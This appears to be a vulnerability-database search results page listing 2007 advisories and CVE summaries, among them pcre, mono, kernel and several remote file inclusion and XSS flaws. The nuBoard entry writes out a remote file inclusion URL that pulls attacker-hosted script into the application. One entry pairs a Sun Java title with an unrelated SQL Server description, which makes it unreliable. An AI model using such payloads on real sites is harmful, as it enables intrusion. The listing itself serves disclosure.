18185 matches found
Critical: pcre security update
6.6-2.1 - Resolves: 315951, CVE-2007-1659, CVE-2007-1660 6.6-1.2 - Resolves: 315951, CVE-2007-1659, CVE-2007-1660...
DSA-1399-1 pcre3 - arbitrary code execution
Bulletin has no description...
Critical: pcre security update
4.5-4.1 - Resolves: 315971, CVE-2007-1660 4.5-4 - Resolves: 315971, CVE-2007-1660...
Microsoft Windows MFC Library FileFind Class Heap Overflow (CVE-2007-4916)
The Microsoft Foundation Class Library is a library that wraps portions of the Windows API in C++ classes,including functionality that enables them to use a default application framework. The vulnerability is due to an error in the FileFind Class that can be exploited via applications that use th...
Sun Java Web Start dnsResolve ActiveX Buffer Overflow (CVE-2007-5019)
Microsoft SQL Server is a Relational Database Management System RDBMS that can be managed through Distributed Management Objects DMO. A remote attacker can exploit this issue to execute arbitrary code on vulnerable server...
Mandrake Linux Security Advisory : pwlib (MDKSA-2007:206)
A memory management flaw was discovered in PWLib, that an attacker could use to crash an application linked with it, such as Ekiga. Updated packages have been patched to prevent these issues. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plug...
[SECURITY] [DSA 1397-1] New mono packages fix integer overflow
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1397-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff November 3rd, 2007 http://www.debian.org/security/faq -...
SyndeoCMS 2.5.01 - cmsdir Remote File Inclusion
SyndeoCMS 2.5.01 - cmsdir Remote File Inclusion -------------------------------------------- = = = Mdx c 2007 = = http://www.by-mdx.com = -------------------------------------------- = = =syndeoCMS 2.5.01 cmsdir Remote File Include = = ============================================ = = Download: = ...
nuBoard 0.5 - 'site' Remote File Inclusion
nuBoard 0.5 index.php site Remote File Inclusion Vulnerability http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboardv0.5.tar.gz /nuboardv0.5/admin/index.php?site=http://localhost/scripts/020.txt? milw0rm.com 2007-11-04...
SyndeoCMS 2.5.01 - 'cmsdir' Remote File Inclusion
-------------------------------------------- = = = Mdx c 2007 = = http://www.by-mdx.com = -------------------------------------------- = = =syndeoCMS 2.5.01 cmsdir Remote File Include = = ============================================ = = Download: = = http://sourceforge.net/projects/syndeocms =...
Unfixed XSS vulnerability at wwy.webaslan.com
Security researcher St@rExT, has submitted on 11/04/2007 a cross-site-scripting XSS vulnerability affecting wwy.webaslan.com, which at the time of submission ranked 7599 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/04/2007. It is currentl...
[SECURITY] [DSA 1397-1] New mono packages fix integer overflow
-------------------------------------------------------------------------- Debian Security Advisory DSA 1397-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff November 3rd, 2007 http://www.debian.org/security/faq -...
kernel security update
CentOS Errata and Security Advisory CESA-2007:0939 Updated kernel packages that fix various security issues in the Red Hat Enterprise Linux 4 kernel are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel is the cor...
Immunity Canvas: WPBACKUP_INCLUDE
Name| wpbackupinclude ---|--- CVE| CVE-2007-5800 Exploit Pack| CANVAS Description| WordPress plugin BackUpWordPress = 0.4.2b Remote File Inclusion Notes| CVE Name: CVE-2007-5800 VENDOR: WordPress Repeatability: Infinite References:...
CVE-2007-5797
SQLLoginModule in Apache Geronimo 2.0 through 2.1 does not throw an exception for a nonexistent username, which allows remote attackers to bypass authentication via a login attempt with any username not contained in the database...
CVE-2007-5800
The CVE-2007-5800 entry describes multiple PHP remote file inclusion flaws in the WordPress BackUpWordPress plugin (versions
Unfixed XSS vulnerability at www.wwillie.com
Security researcher cyberthiief, has submitted on 11/03/2007 a cross-site-scripting XSS vulnerability affecting www.wwillie.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/03/2007. It is currentl...
CVE-2007-5796
The CVE-2007-5796 entry describes an XSS flaw in the Blue Coat ProxySG management console, exploitable by modifying the URL used to load Certificate Revocation Lists. Affected versions are ProxySG < 4.2.6.1 and 5.x
CVE-2007-5799
CVE-2007-5799 involves multiple cross-site request forgery (CSRF) flaws in the uddigui/navigateTree.do component of IBM WebSphere Application Server’s UDDI user console. The issue allows unauthenticated or remote attackers to perform actions on behalf of UDDI users via the keyField, nameField, va...
